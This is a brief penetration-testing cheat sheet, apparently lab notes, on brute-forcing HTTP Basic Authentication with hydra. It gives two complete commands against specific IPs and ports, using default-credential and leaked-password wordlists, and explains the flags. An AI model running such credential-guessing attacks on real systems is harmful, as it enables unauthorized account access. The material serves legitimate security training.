# Basic HTTP Auth

## Bruteforcing Basic HTTP (combolist)

{% code overflow="wrap" %}

```shell-session
$ hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 178.211.23.155 -s 31099 http-get /
```

{% endcode %}

-s is PORT

The wordlist above is a combolist (username:password)

## Bruteforcing Basic HTTP (not combolist)

{% code overflow="wrap" %}

```shell-session
$ hydra -L /opt/useful/SecLists/Usernames/Names/names.txt -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -u -f 178.35.49.134 -s 32901 http-get /
```

{% endcode %}

-L for username list (-l for single)

-P for password list (-p for single)

-u to try all user per password instead of 1 user for all passwords

-f stop after first valid creds found\\
